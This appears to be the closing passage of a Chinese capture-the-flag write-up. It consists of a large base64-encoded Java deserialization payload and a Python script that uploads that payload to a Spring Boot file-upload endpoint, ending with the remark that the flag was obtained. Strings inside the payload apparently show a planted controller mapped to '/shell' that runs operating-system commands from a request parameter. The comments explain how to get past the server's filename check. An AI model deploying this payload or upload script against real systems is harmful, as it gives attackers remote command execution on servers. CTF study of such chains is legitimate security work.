TDBOc1lYTnpPM2h3QUFCemNnQXdiM0puTG5Od2NtbHVaMlp5WVcxbGQyOXlheTVoYjNBdVpuSmhiV1YzYjNKckxrRmtkbWx6WldSVGRYQndiM0owSk11S1BQcWt4WFVDQUFWYUFBdHdjbVZHYVd4MFpYSmxaRXdBRTJGa2RtbHpiM0pEYUdGcGJrWmhZM1J2Y25sMEFEZE1iM0puTDNOd2NtbHVaMlp5WVcxbGQyOXlheTloYjNBdlpuSmhiV1YzYjNKckwwRmtkbWx6YjNKRGFHRnBia1poWTNSdmNuazdUQUFJWVdSMmFYTnZjbk4wQUJCTWFtRjJZUzkxZEdsc0wweHBjM1E3VEFBS2FXNTBaWEptWVdObGMzRUFmZ0FjVEFBTWRHRnlaMlYwVTI5MWNtTmxkQUFtVEc5eVp5OXpjSEpwYm1kbWNtRnRaWGR2Y21zdllXOXdMMVJoY21kbGRGTnZkWEpqWlR0NGNnQXRiM0puTG5Od2NtbHVaMlp5WVcxbGQyOXlheTVoYjNBdVpuSmhiV1YzYjNKckxsQnliM2g1UTI5dVptbG5pMHZ6NXFmZzkyOENBQVZhQUF0bGVIQnZjMlZRY205NGVWb0FCbVp5YjNwbGJsb0FCbTl3WVhGMVpWb0FDRzl3ZEdsdGFYcGxXZ0FRY0hKdmVIbFVZWEpuWlhSRGJHRnpjM2h3QUFBQUFBQUFjM0lBUEc5eVp5NXpjSEpwYm1kbWNtRnRaWGR2Y21zdVlXOXdMbVp5WVcxbGQyOXlheTVFWldaaGRXeDBRV1IyYVhOdmNrTm9ZV2x1Um1GamRHOXllVlRkWkRmaVRuSDNBZ0FBZUhCemNnQVRhbUYyWVM1MWRHbHNMa0Z5Y21GNVRHbHpkSGlCMGgyWngyR2RBd0FCU1FBRWMybDZaWGh3QUFBQUFIY0VBQUFBQUhoemNRQitBQ0lBQUFBQWR3UUFBQUFBZUhOeUFEUnZjbWN1YzNCeWFXNW5abkpoYldWM2IzSnJMbUZ2Y0M1MFlYSm5aWFF1VTJsdVoyeGxkRzl1VkdGeVoyVjBVMjkxY21ObGZWVnU5Y2Y0K3JvQ0FBRk1BQVowWVhKblpYUnhBSDRBRG5od2MzSUFPbU52YlM1emRXNHViM0puTG1Gd1lXTm9aUzU0WVd4aGJpNXBiblJsY201aGJDNTRjMngwWXk1MGNtRjRMbFJsYlhCc1lYUmxjMGx0Y0d3SlYwL0JicXlyTXdNQUJra0FEVjlwYm1SbGJuUk9kVzFpWlhKSkFBNWZkSEpoYm5Oc1pYUkpibVJsZUZzQUNsOWllWFJsWTI5a1pYTjBBQU5iVzBKYkFBWmZZMnhoYzNOeEFINEFHRXdBQlY5dVlXMWxkQUFTVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3VEFBUlgyOTFkSEIxZEZCeWIzQmxjblJwWlhOMEFCWk1hbUYyWVM5MWRHbHNMMUJ5YjNCbGNuUnBaWE03ZUhBQUFBQUFBQUFBQUhWeUFBTmJXMEpML1JrVloyZmJOd0lBQUhod0FBQUFBblZ5QUFKYlFxenpGL2dHQ0ZUZ0FnQUFlSEFBQUJpb3l2NjZ2Z0FBQURVQkJ3b0FPd0IvQ2dDQUFJRUlBSUlMQUlNQWhBY0FoUWNBaGdzQUJRQ0hCd0NJQ0FCWkJ3Q0pDZ0FLQUlvSEFJc0hBSXdJQUkwS0FBd0FqZ2NBandjQWtBb0FFQUNSQ2dDU0FKTUlBRThLQUFvQWxBb0FsUUNXQ2dDVkFKY0hBSmtLQUpnQW1nc0Ftd0NjQ3dDYkFKMElBSjRLQUFnQW53b0FCZ0NnQndDaENnQWZBS0lLQUI4QW93Z0FwQXNBYkFDbENBQ21DZ0NuQUtnS0FBMEFxUWdBcWdvQURRQ3JDd0J0QUt3SUFLMElBSzRJQUs4SUFMQUtBTEVBc2dvQXNRQ3pDZ0MwQUxVSEFMWUtBREVBdHdnQXVBb0FNUUM1Q2dBeEFMb0tBREVBdXdnQXZBb0FiZ0M5Q2dCdUFMNEtBRzRBdndjQXdBRUFCanhwYm1sMFBnRUFBeWdwVmdFQUJFTnZaR1VCQUE5TWFXNWxUblZ0WW1WeVZHRmliR1VCQUJKTWIyTmhiRlpoY21saFlteGxWR0ZpYkdVQkFBUjBhR2x6QVFBb1RHTnZiUzlqZEdZdmRHaDViV1ZzWldGbUwwVjJhV3hUY0hKcGJtZERiMjUwY205c2JHVnlPd0VBQjJOdmJuUmxlSFFCQURkTWIzSm5MM053Y21sdVoyWnlZVzFsZDI5eWF5OTNaV0l2WTI5dWRHVjRkQzlYWldKQmNIQnNhV05oZEdsdmJrTnZiblJsZUhRN0FRQVZiV0Z3Y0dsdVowaGhibVJzWlhKTllYQndhVzVuQVFCVVRHOXlaeTl6Y0hKcGJtZG1jbUZ0WlhkdmNtc3ZkMlZpTDNObGNuWnNaWFF2YlhaakwyMWxkR2h2WkM5aGJtNXZkR0YwYVc5dUwxSmxjWFZsYzNSTllYQndhVzVuU0dGdVpHeGxjazFoY0hCcGJtYzdBUUFHYldWMGFHOWtBUUFhVEdwaGRtRXZiR0Z1Wnk5eVpXWnNaV04wTDAxbGRHaHZaRHNCQUFOMWNtd0JBRWhNYjNKbkwzTndjbWx1WjJaeVlXMWxkMjl5YXk5M1pXSXZjMlZ5ZG14bGRDOXRkbU12WTI5dVpHbDBhVzl1TDFCaGRIUmxjbTV6VW1WeGRXVnpkRU52Ym1ScGRHbHZianNCQUFKdGN3RUFUa3h2Y21jdmMzQnlhVzVuWm5KaGJXVjNiM0pyTDNkbFlpOXpaWEoyYkdWMEwyMTJZeTlqYjI1a2FYUnBiMjR2VW1WeGRXVnpkRTFsZEdodlpITlNaWEYxWlhOMFEyOXVaR2wwYVc5dU93RUFDMk52Ym1acFowWnBaV3hrQVFBWlRHcGhkbUV2YkdGdVp5OXlaV1pzWldOMEwwWnBaV3hrT3dFQUJtTnZibVpwWndFQUZFSjFhV3hrWlhKRGIyNW1hV2QxY21GMGFXOXVBUUFNU1c1dVpYSkRiR0Z6YzJWekFRQlVURzl5Wnk5emNISnBibWRtY21GdFpYZHZjbXN2ZDJWaUwzTmxjblpzWlhRdmJYWmpMMjFsZEdodlpDOVNaWEYxWlhOMFRXRndjR2x1WjBsdVptOGtRblZwYkdSbGNrTnZibVpwWjNWeVlYUnBiMjQ3QVFBRWFXNW1id0VBUDB4dmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMjEyWXk5dFpYUm9iMlF2VW1WeGRXVnpkRTFoY0hCcGJtZEpibVp2T3dFQUlYTndjbWx1WjBKdmIzUk5aVzF2Y25sVGFHVnNiRTltUTI5dWRISnZiR3hsY2dFQUNrVjRZMlZ3ZEdsdmJuTUhBTUVCQUJVb1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0tWWUJBQVIwWlhOMEFRQVNUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdBUUFIYVhOTWFXNTFlQUVBQVZvQkFBVnZjMVI1Y0FFQUMzQnlhVzUwVjNKcGRHVnlBUUFWVEdwaGRtRXZhVzh2VUhKcGJuUlhjbWwwWlhJN0FRQUVZMjFrY3dFQUUxdE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c0JBQUpwYmdFQUZVeHFZWFpoTDJsdkwwbHVjSFYwVTNSeVpXRnRPd0VBQjNOallXNXVaWElCQUJOTWFtRjJZUzkxZEdsc0wxTmpZVzV1WlhJN0FRQURiM1YwQVFBSGNtVnhkV1Z6ZEFFQUoweHFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGNuWnNaWFJTWlhGMVpYTjBPd0VBQ0hKbGMzQnZibk5sQVFBb1RHcGhkbUY0TDNObGNuWnNaWFF2YUhSMGNDOUlkSFJ3VTJWeWRteGxkRkpsYzNCdmJuTmxPd0VBRFZOMFlXTnJUV0Z3VkdGaWJHVUhBTUlIQU1NSEFNUUhBR0VIQU1VQkFBbDBjbUZ1YzJadmNtMEJBSElvVEdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NFlXeGhiaTlwYm5SbGNtNWhiQzk0YzJ4MFl5OUVUMDA3VzB4amIyMHZjM1Z1TDI5eVp5OWhjR0ZqYUdVdmVHMXNMMmx1ZEdWeWJtRnNMM05sY21saGJHbDZaWEl2VTJWeWFXRnNhWHBoZEdsdmJraGhibVJzWlhJN0tWWUJBQWhrYjJOMWJXVnVkQUVBTFV4amIyMHZjM1Z1TDI5eVp5OWhjR0ZqYUdVdmVHRnNZVzR2YVc1MFpYSnVZV3d2ZUhOc2RHTXZSRTlOT3dFQUNHaGhibVJzWlhKekFRQkNXMHhqYjIwdmMzVnVMMjl5Wnk5aGNHRmphR1V2ZUcxc0wybHVkR1Z5Ym1Gc0wzTmxjbWxoYkdsNlpYSXZVMlZ5YVdGc2FYcGhkR2x2YmtoaGJtUnNaWEk3QndER0FRQ21LRXhqYjIwdmMzVnVMMjl5Wnk5aGNHRmphR1V2ZUdGc1lXNHZhVzUwWlhKdVlXd3ZlSE5zZEdNdlJFOU5PMHhqYjIwdmMzVnVMMjl5Wnk5aGNHRmphR1V2ZUcxc0wybHVkR1Z5Ym1Gc0wyUjBiUzlFVkUxQmVHbHpTWFJsY21GMGIzSTdUR052YlM5emRXNHZiM0puTDJGd1lXTm9aUzk0Yld3dmFXNTBaWEp1WVd3dmMyVnlhV0ZzYVhwbGNpOVRaWEpwWVd4cGVtRjBhVzl1U0dGdVpHeGxjanNwVmdFQUNHbDBaWEpoZEc5eUFRQTFUR052YlM5emRXNHZiM0puTDJGd1lXTm9aUzk0Yld3dmFXNTBaWEp1WVd3dlpIUnRMMFJVVFVGNGFYTkpkR1Z5WVhSdmNqc0JBQWRvWVc1a2JHVnlBUUJCVEdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NGJXd3ZhVzUwWlhKdVlXd3ZjMlZ5YVdGc2FYcGxjaTlUWlhKcFlXeHBlbUYwYVc5dVNHRnVaR3hsY2pzQkFBcFRiM1Z5WTJWR2FXeGxBUUFaUlhacGJGTndjbWx1WjBOdmJuUnliMnhzWlhJdWFtRjJZUXdBUEFBOUJ3REhEQURJQU1rQkFEbHZjbWN1YzNCeWFXNW5abkpoYldWM2IzSnJMbmRsWWk1elpYSjJiR1YwTGtScGMzQmhkR05vWlhKVFpYSjJiR1YwTGtOUFRsUkZXRlFIQU1vTUFNc0F6QUVBTlc5eVp5OXpjSEpwYm1kbWNtRnRaWGR2Y21zdmQyVmlMMk52Ym5SbGVIUXZWMlZpUVhCd2JHbGpZWFJwYjI1RGIyNTBaWGgwQVFCU2IzSm5MM053Y21sdVoyWnlZVzFsZDI5eWF5OTNaV0l2YzJWeWRteGxkQzl0ZG1NdmJXVjBhRzlrTDJGdWJtOTBZWFJwYjI0dlVtVnhkV1Z6ZEUxaGNIQnBibWRJWVc1a2JHVnlUV0Z3Y0dsdVp3d0F6UURPQVFBbVkyOXRMMk4wWmk5MGFIbHRaV3hsWVdZdlJYWnBiRk53Y21sdVowTnZiblJ5YjJ4c1pYSUJBQTlxWVhaaEwyeGhibWN2UTJ4aGMzTU1BTThBMEFFQVJtOXlaeTl6Y0hKcGJtZG1jbUZ0WlhkdmNtc3ZkMlZpTDNObGNuWnNaWFF2YlhaakwyTnZibVJwZEdsdmJpOVFZWFIwWlhKdWMxSmxjWFZsYzNSRGIyNWthWFJwYjI0QkFCQnFZWFpoTDJ4aGJtY3ZVM1J5YVc1bkFRQUdMM05vWld4c0RBQThBTkVCQUV4dmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMjEyWXk5amIyNWthWFJwYjI0dlVtVnhkV1Z6ZEUxbGRHaHZaSE5TWlhGMVpYTjBRMjl1WkdsMGFXOXVBUUExYjNKbkwzTndjbWx1WjJaeVlXMWxkMjl5YXk5M1pXSXZZbWx1WkM5aGJtNXZkR0YwYVc5dUwxSmxjWFZsYzNSTlpYUm9iMlFNQUR3QTBnY0Ewd3dBMUFEVkRBRFdBTmNIQU5nTUFOa0EyZ3dBMndEY0J3RGRBUUJTYjNKbkwzTndjbWx1WjJaeVlXMWxkMjl5YXk5M1pXSXZjMlZ5ZG14bGRDOXRkbU12YldWMGFHOWtMMUpsY1hWbGMzUk5ZWEJ3YVc1blNXNW1ieVJDZFdsc1pHVnlRMjl1Wm1sbmRYSmhkR2x2Ymd3QTNnRGdCd0RoREFEaUFPTU1BT1FBNVFFQUJYbGplR3h2REFBOEFGZ01BT1lBNXdFQVFHOXlaeTl6Y0hKcGJtZG1jbUZ0WlhkdmNtc3ZkMlZpTDJOdmJuUmxlSFF2Y21WeGRXVnpkQzlUWlhKMmJHVjBVbVZ4ZFdWemRFRjBkSEpwWW5WMFpYTU1BT2dBNlF3QTZnRHJBUUFEWTIxa0RBRHNBTzBCQUFkdmN5NXVZVzFsQndEdURBRHZBTzBNQVBBQThRRUFBM2RwYmd3QThnRHpEQUQwQVBVQkFBSnphQUVBQWkxakFRQUhZMjFrTG1WNFpRRUFBaTlqQndEMkRBRDNBUGdNQVBrQStnY0Erd3dBL0FEOUFRQVJhbUYyWVM5MWRHbHNMMU5qWVc1dVpYSU1BRHdBL2dFQUFseEJEQUQvQVFBTUFRRUJBZ3dCQXdEeEFRQUFEQUVFQUZnTUFRVUFQUXdCQmdBOUFRQkFZMjl0TDNOMWJpOXZjbWN2WVhCaFkyaGxMM2hoYkdGdUwybHVkR1Z5Ym1Gc0wzaHpiSFJqTDNKMWJuUnBiV1V2UVdKemRISmhZM1JVY21GdWMyeGxkQUVBRTJwaGRtRXZiR0Z1Wnk5RmVHTmxjSFJwYjI0QkFDVnFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGNuWnNaWFJTWlhGMVpYTjBBUUFtYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnpjRzl1YzJVQkFCTnFZWFpoTDJsdkwxQnlhVzUwVjNKcGRHVnlBUUFUYW1GMllTOXBieTlKYm5CMWRGTjBjbVZoYlFFQU9XTnZiUzl6ZFc0dmIzSm5MMkZ3WVdOb1pTOTRZV3hoYmk5cGJuUmxjbTVoYkM5NGMyeDBZeTlVY21GdWMyeGxkRVY0WTJWd2RHbHZiZ0VBUEc5eVp5OXpjSEpwYm1kbWNtRnRaWGR2Y21zdmQyVmlMMk52Ym5SbGVIUXZjbVZ4ZFdWemRDOVNaWEYxWlhOMFEyOXVkR1Y0ZEVodmJHUmxjZ0VBR0dOMWNuSmxiblJTWlhGMVpYTjBRWFIwY21saWRYUmxjd0VBUFNncFRHOXlaeTl6Y0hKcGJtZG1jbUZ0WlhkdmNtc3ZkMlZpTDJOdmJuUmxlSFF2Y21WeGRXVnpkQzlTWlhGMVpYTjBRWFIwY21saWRYUmxjenNCQURsdmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTlqYjI1MFpYaDBMM0psY1hWbGMzUXZVbVZ4ZFdWemRFRjBkSEpwWW5WMFpYTUJBQXhuWlhSQmRIUnlhV0oxZEdVQkFDY29UR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdTU2xNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNCQUFkblpYUkNaV0Z1QVFBbEtFeHFZWFpoTDJ4aGJtY3ZRMnhoYzNNN0tVeHFZWFpoTDJ4aGJtY3ZUMkpxWldOME93RUFDV2RsZEUxbGRHaHZaQUVBUUNoTWFtRjJZUzlzWVc1bkwxTjBjbWx1Wnp0YlRHcGhkbUV2YkdGdVp5OURiR0Z6Y3pzcFRHcGhkbUV2YkdGdVp5OXlaV1pzWldOMEwwMWxkR2h2WkRzQkFCWW9XMHhxWVhaaEwyeGhibWN2VTNSeWFXNW5PeWxXQVFBN0tGdE1iM0puTDNOd2NtbHVaMlp5WVcxbGQyOXlheTkzWldJdlltbHVaQzloYm01dmRHRjBhVzl1TDFKbGNYVmxjM1JOWlhSb2IyUTdLVllCQUJCcVlYWmhMMnhoYm1jdlQySnFaV04wQVFBSVoyVjBRMnhoYzNNQkFCTW9LVXhxWVhaaEwyeGhibWN2UTJ4aGMzTTdBUUFRWjJWMFJHVmpiR0Z5WldSR2FXVnNaQUVBTFNoTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFRHcGhkbUV2YkdGdVp5OXlaV1pzWldOMEwwWnBaV3hrT3dFQUYycGhkbUV2YkdGdVp5OXlaV1pzWldOMEwwWnBaV3hrQVFBTmMyVjBRV05qWlhOemFXSnNaUUVBQkNoYUtWWUJBQU5uWlhRQkFDWW9UR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdLVXhxWVhaaEwyeGhibWN2VDJKcVpXTjBPd0VBUFc5eVp5OXpjSEpwYm1kbWNtRnRaWGR2Y21zdmQyVmlMM05sY25ac1pYUXZiWFpqTDIxbGRHaHZaQzlTWlhGMVpYTjBUV0Z3Y0dsdVowbHVabThCQUFWd1lYUm9jd0VBQjBKMWFXeGtaWElCQUZ3b1cweHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1iM0puTDNOd2NtbHVaMlp5WVcxbGQyOXlheTkzWldJdmMyVnlkbXhsZEM5dGRtTXZiV1YwYUc5a0wxSmxjWFZsYzNSTllYQndhVzVuU1c1bWJ5UkNkV2xzWkdWeU93RUFSVzl5Wnk5emNISnBibWRtY21GdFpYZHZjbXN2ZDJWaUwzTmxjblpzWlhRdmJYWmpMMjFsZEdodlpDOVNaWEYxWlhOMFRXRndjR2x1WjBsdVptOGtRblZwYkdSbGNnRUFCMjl3ZEdsdmJuTUJBSjBvVEc5eVp5OXpjSEpwYm1kbWNtRnRaWGR2Y21zdmQyVmlMM05sY25ac1pYUXZiWFpqTDIxbGRHaHZaQzlTWlhGMVpYTjBUV0Z3Y0dsdVowbHVabThrUW5WcGJHUmxja052Ym1acFozVnlZWFJwYjI0N0tVeHZjbWN2YzNCeWFXNW5abkpoYldWM2IzSnJMM2RsWWk5elpYSjJiR1YwTDIxMll5OXRaWFJvYjJRdlVtVnhkV1Z6ZEUxaGNIQnBibWRKYm1adkpFSjFhV3hrWlhJN0FRQUZZblZwYkdRQkFFRW9LVXh2Y21jdmMzQnlhVzVuWm5KaGJXVjNiM0pyTDNkbFlpOXpaWEoyYkdWMEwyMTJZeTl0WlhSb2IyUXZVbVZ4ZFdWemRFMWhjSEJwYm1kSmJtWnZPd0VBRDNKbFoybHpkR1Z5VFdGd2NHbHVad0VBYmloTWIzSm5MM053Y21sdVoyWnlZVzFsZDI5eWF5OTNaV0l2YzJWeWRteGxkQzl0ZG1NdmJXVjBhRzlrTDFKbGNYVmxjM1JOWVhCd2FXNW5TVzVtYnp0TWFtRjJZUzlzWVc1bkwwOWlhbVZqZER0TWFtRjJZUzlzWVc1bkwzSmxabXhsWTNRdlRXVjBhRzlrT3lsV0FRQUtaMlYwVW1WeGRXVnpkQUVBS1NncFRHcGhkbUY0TDNObGNuWnNaWFF2YUhSMGNDOUlkSFJ3VTJWeWRteGxkRkpsY1hWbGMzUTdBUUFMWjJWMFVtVnpjRzl1YzJVQkFDb29LVXhxWVhaaGVDOXpaWEoyYkdWMEwyaDBkSEF2U0hSMGNGTmxjblpzWlhSU1pYTndiMjV6WlRzQkFBeG5aWFJRWVhKaGJXVjBaWElCQUNZb1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0tVeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk93RUFFR3BoZG1FdmJHRnVaeTlUZVhOMFpXMEJBQXRuWlhSUWNtOXdaWEowZVFFQUMzUnZURzkzWlhKRFlYTmxBUUFVS0NsTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBaGpiMjUwWVdsdWN3RUFHeWhNYW1GMllTOXNZVzVuTDBOb1lYSlRaWEYxWlc1alpUc3BXZ0VBQ1dkbGRGZHlhWFJsY2dFQUZ5Z3BUR3BoZG1FdmFXOHZVSEpwYm5SWGNtbDBaWEk3QVFBUmFtRjJZUzlzWVc1bkwxSjFiblJwYldVQkFBcG5aWFJTZFc1MGFXMWxBUUFWS0NsTWFtRjJZUzlzWVc1bkwxSjFiblJwYldVN0FRQUVaWGhsWXdFQUtDaGJUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdLVXhxWVhaaEwyeGhibWN2VUhKdlkyVnpjenNCQUJGcVlYWmhMMnhoYm1jdlVISnZZMlZ6Y3dFQURtZGxkRWx1Y0hWMFUzUnlaV0Z0QVFBWEtDbE1hbUYyWVM5cGJ5OUpibkIxZEZOMGNtVmhiVHNCQUJnb1RHcGhkbUV2YVc4dlNXNXdkWFJUZEhKbFlXMDdLVllCQUF4MWMyVkVaV3hwYldsMFpYSUJBQ2NvVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3S1V4cVlYWmhMM1YwYVd3dlUyTmhibTVsY2pzQkFBZG9ZWE5PWlhoMEFRQURLQ2xhQVFBRWJtVjRkQUVBQlhkeWFYUmxBUUFGWm14MWMyZ0JBQVZqYkc5elpRQWhBQWdBT3dBQUFBQUFCUUFCQUR3QVBRQUNBRDRBQUFGSkFBWUFDZ0FBQUpVcXR3QUJ1QUFDRWdNRHVRQUVBd0RBQUFWTUt4SUd1UUFIQWdEQUFBWk5FZ2dTQ1FPOUFBcTJBQXRPdXdBTVdRUzlBQTFaQXhJT1U3Y0FEem9FdXdBUVdRTzlBQkczQUJJNkJTeTJBQk1TRkxZQUZUb0dHUVlFdGdBV0dRWXN0Z0FYd0FBWU9nY0V2UUFOV1FNU0RsTzRBQmtaQjdrQUdnSUF1UUFiQVFBNkNMc0FDRmtTSExjQUhUb0pMQmtJR1FrdHRnQWVzUUFBQUFJQVB3QUFBRFlBRFFBQUFDTUFCQUFsQUJNQUp3QWZBQ2tBS3dBckFEMEFMUUJLQUM4QVZRQXdBRnNBTWdCbUFETUFnQUEyQUlzQU53Q1VBRGdBUUFBQUFHWUFDZ0FBQUpVQVFRQkNBQUFBRXdDQ0FFTUFSQUFCQUI4QWRnQkZBRVlBQWdBckFHb0FSd0JJQUFNQVBRQllBRWtBU2dBRUFFb0FTd0JMQUV3QUJRQlZBRUFBVFFCT0FBWUFaZ0F2QUU4QVVnQUhBSUFBRlFCVEFGUUFDQUNMQUFvQVZRQkNBQWtBVmdBQUFBUUFBUUJYQUFFQVBBQllBQUVBUGdBQUFEMEFBUUFDQUFBQUJTcTNBQUd4QUFBQUFnQS9BQUFBQ2dBQ0FBQUFPZ0FFQURzQVFBQUFBQllBQWdBQUFBVUFRUUJDQUFBQUFBQUZBRmtBV2dBQkFBRUFXUUE5QUFJQVBnQUFBYzhBQlFBS0FBQUF4YmdBQXNBQUg3WUFJRXk0QUFMQUFCKzJBQ0ZOS3hJaXVRQWpBZ0RHQUtnRVBoSWt1QUFsT2dRWkJNWUFFaGtFdGdBbUVpZTJBQ2laQUFVRFBpeTVBQ2tCQURvRkhaa0FId2E5QUExWkF4SXFVMWtFRWl0VFdRVXJFaUs1QUNNQ0FGT25BQndHdlFBTldRTVNMRk5aQkJJdFUxa0ZLeElpdVFBakFnQlRPZ1lCT2dlNEFDNFpCcllBTDdZQU1Eb0h1d0F4V1JrSHR3QXlFak8yQURRNkNCa0l0Z0ExbVFBTEdRaTJBRGFuQUFVU056b0pHUVVaQ2JZQU9Ca0Z0Z0E1R1FXMkFEcXhBQUFBQXdBL0FBQUFSZ0FSQUFBQVBRQUtBRDRBRkFBL0FCOEFRQUFoQUVFQUtBQkNBRG9BUXdBOEFFVUFSQUJHQUg4QVJ3Q0NBRWdBandCSkFKOEFTZ0N6QUVzQXVnQk1BTDhBVFFERUFFOEFRQUFBQUdZQUNnQWhBS01BV3dCY0FBTUFLQUNjQUYwQVdnQUVBRVFBZ0FCZUFGOEFCUUIvQUVVQVlBQmhBQVlBZ2dCQ0FHSUFZd0FIQUo4QUpRQmtBR1VBQ0FDekFCRUFaZ0JhQUFrQUFBREZBRUVBUWdBQUFBb0F1d0JuQUdnQUFRQVVBTEVBYVFCcUFBSUFhd0FBQUVBQUJ2OEFQQUFGQndBSUJ3QnNCd0J0QVFjQURRQUEvQUFuQndCdVdBY0FiLzRBTVFjQWJ3Y0FjQWNBTVVFSEFBMy9BQklBQXdjQUNBY0FiQWNBYlFBQUFGWUFBQUFFQUFFQVZ3QUJBSEVBY2dBQ0FENEFBQUEvQUFBQUF3QUFBQUd4QUFBQUFnQS9BQUFBQmdBQkFBQUFWQUJBQUFBQUlBQURBQUFBQVFCQkFFSUFBQUFBQUFFQWN3QjBBQUVBQUFBQkFIVUFkZ0FDQUZZQUFBQUVBQUVBZHdBQkFIRUFlQUFDQUQ0QUFBQkpBQUFBQkFBQUFBR3hBQUFBQWdBL0FBQUFCZ0FCQUFBQVdRQkFBQUFBS2dBRUFBQUFBUUJCQUVJQUFBQUFBQUVBY3dCMEFBRUFBQUFCQUhrQWVnQUNBQUFBQVFCN0FId0FBd0JXQUFBQUJBQUJBSGNBQWdCOUFBQUFBZ0IrQUZFQUFBQVNBQUlBR0FDWUFGQUFDUUNiQUpnQTN3WUpkWEVBZmdBdUFBQUFuc3IrdXI0QUFBQXpBQXdCQUFkamJXbHpiREV4QndBQkFRQVFhbUYyWVM5c1lXNW5MMDlpYW1WamRBY0FBd0VBQ2xOdmRYSmpaVVpwYkdVQkFBeGpiV2x6YkRFeExtcGhkbUVCQUFZOGFXNXBkRDRCQUFNb0tWWU1BQWNBQ0FvQUJBQUpBUUFFUTI5a1pRQWhBQUlBQkFBQUFBQUFBUUFCQUFjQUNBQUJBQXNBQUFBUkFBRUFBUUFBQUFVcXR3QUtzUUFBQUFBQUFRQUZBQUFBQWdBR2NIUUFBV0Z3ZHdFQWVIVnlBQkpiVEdwaGRtRXViR0Z1Wnk1RGJHRnpjenVyRnRldXk4MWFtUUlBQUhod0FBQUFBM1p5QUNOdmNtY3VjM0J5YVc1blpuSmhiV1YzYjNKckxtRnZjQzVUY0hKcGJtZFFjbTk0ZVFBQUFBQUFBQUFBQUFBQWVIQjJjZ0FwYjNKbkxuTndjbWx1WjJaeVlXMWxkMjl5YXk1aGIzQXVabkpoYldWM2IzSnJMa0ZrZG1selpXUUFBQUFBQUFBQUFBQUFBSGh3ZG5JQUtHOXlaeTV6Y0hKcGJtZG1jbUZ0WlhkdmNtc3VZMjl5WlM1RVpXTnZjbUYwYVc1blVISnZlSGtBQUFBQUFBQUFBQUFBQUhod2NIQndjSEJ3Y0hCd2VBQUFBQUFBQUFCa2NIZz1weHQAB2Nvbm5lY3Q="
    # 3. 构造multipart/form-data请求(适配Spring Boot的MultipartFile接收规则)
    files = {
        "file": (  # 后端@RequestParam("file") 字段名必须是file
            UPLOAD_FILENAME,  # 文件名后缀含ref,满足后端检查
            b64_encoded,      # 文件内容是Base64编码后的字符串
            "application/octet-stream"  # 避免Tomcat解析错误
        )
    }
    
    # 4. 发送上传请求(禁用分块编码,解决Stream ended unexpectedly)
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Connection": "close"  # 关闭长连接,避免数据流残留
    }
    
    try:
        response = requests.post(
            UPLOAD_URL,
            files=files,
            headers=headers,
            allow_redirects=False,  # 禁止重定向,避免数据流中断
            timeout=30,
            stream=False  # 禁用分块编码,强制Content-Length
        )
      
        # 打印响应结果
        print(f"响应状态码:{response.status_code}")
        print(f"响应内容:{response.text}")
    except Exception as e:
        print(f"上传失败:{str(e)}")
if __name__ == "__main__":
    upload_serialized_file()

最后成功拿到flag